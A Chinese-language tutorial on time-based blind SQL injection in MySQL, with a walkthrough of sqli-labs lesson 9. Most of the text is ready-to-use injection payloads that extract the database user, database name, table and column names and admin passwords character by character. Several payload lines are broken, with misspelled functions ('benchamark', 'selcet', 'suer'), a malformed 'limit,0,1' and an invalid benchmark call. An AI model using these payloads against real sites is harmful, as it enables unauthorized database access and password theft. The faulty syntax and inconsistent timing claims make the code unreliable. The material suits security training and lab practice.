一、时间盲注(延迟):
特点:
没有任何回显点 在页面中输入任何内容都会返回同一个页面内容的 就可以尝试使用延迟盲注。
简介:
由于服务器端拼接了SQL语句,且正确和错误存在同样的回显,即是错误信息被过滤,可以通过页面响应时间进行按位判断数据。由于时间盲注中的函数是在数据库中执行的,但是sleep函数或者benchmark函数的过多执行会让服务器负载过高
原理:
通过一个页面加载的时间延时来判断
但是这和网络,性能,设置的延时长短有关系
当对数据库进行查询操作,如果查询的条件不存在,语句执行的速度非常快,执行时间基本可以认为是0,通过控制sql语句的执行时间来判断
二、时间盲注常用的函数:
if函数: if(Condition,A,B)
含义: 如果Condition 成立,执行A,则B
substr函数:
含义:截取字符串。subster(string, start, length)
从string的start位开始截取len个字符
ascii函数: ascii(char)
含义: 将char转化成ascii码值
延迟注入:
当mysql版本>-5.0时 使用sleep()进行查询
当mysql版本<5.0时 使用benchmark()进行查询
benchmark()压力测试
通过查询次数增多, 时间变得缓慢来判断是否存在延迟。
语句: select benchamark(1000,selcet * from admin);
sleep()
来判断是否存在延迟注入
语句为: id=1' and sleep(5)
三、利用过程
3.1、第一步:判断注入点
"and 1=1--+ 页面返回有数据
"and 1=0--+ 页面返回有数据
则:页面的返回没有变化,可能是盲注
3.2、第二步:判断可使用注入方法
然后用sleep()判断能否利用时间盲注
"and sleep(5)--+ 页面延时了
则:是时间盲注。
3.3、第三步:猜数据库名称长度
"and if((length(database()))=10,sleep(5),1)--+ 页面延时了
则:当前数据库名称长度为 10
3.4、第四步:猜数据库名称(ASCII码)
"and if(ascii(substr(database(),1,1))=107,sleep(5),1)--+ 页面延时了
则:数据库第一个字母是k... 类推得到数据库名
(字段名、数据,都是以此类推)
四、演练: sqil-labs 9关
首先使用语句检测是否存在延时注入 这里延迟了十秒。
通过开发者工具的网络来查看 网页响应时间,因此断定存在延迟注入
判断当前用户
and if(ascii(substr(user(),1,1))=114,sleep(5),1) --+
(substr(suer(),1,1) : 截取当前数据库的第一个字符
ascii : 把截取到的字符串转换成ascii码(百度搜索ascii码表一堆)
网页延迟了7秒,说明当前的 ascii 114 对应的值是 r
继续使用二分法测试
and if(ascii(substr(user(),2,1))<114,sleep(5),1) --+
and if(ascii(substr(user(),2,1))>0,sleep(5),1) --+
114< 且 >0
取一中间数57判断是大于57 还是小于57
and if(ascii(substr(user(),2,1))>57,sleep(5),1) --+
这里延时7秒 所以114< 且 >57 取中间数 85
and if(ascii(substr(user(),2,1))>85,sleep(5),1) --+
延迟7秒 所以114<且>85 取中间数100
and if(ascii(substr(user(),2,1))>100,sleep(5),1) --+
114<且>100 取数110
and if(ascii(substr(user(),2,1))=110,sleep(5),1) --+
返回7秒 发现ascii110 即是 用户名的第二位数 n 第三位 则更改数字 按上述步骤进行查询即可。
判断当前数据库长度
and if(length(database())=8,sleep(5),1)--+
猜解数据库名称
and if(ascii(substr(database(),1,1))>55,sleep(5),1) --+
猜解表名
and if(ascii(substr((SELECT distinct concat(table_name) FROM information_schema.tables where table_schema=database() LIMIT 0,1),1,1))=116,sleep(5),1);--+
猜解列名
and if(ascii(substr((select column_name from information_schema.columns where table_name='admin' limit,0,1),1,1))>100,sleep(5),1)--+
猜解数据
and if(ascii(substr((select password from admin limit 0,1),1,1))>100,sleep(5),1)--+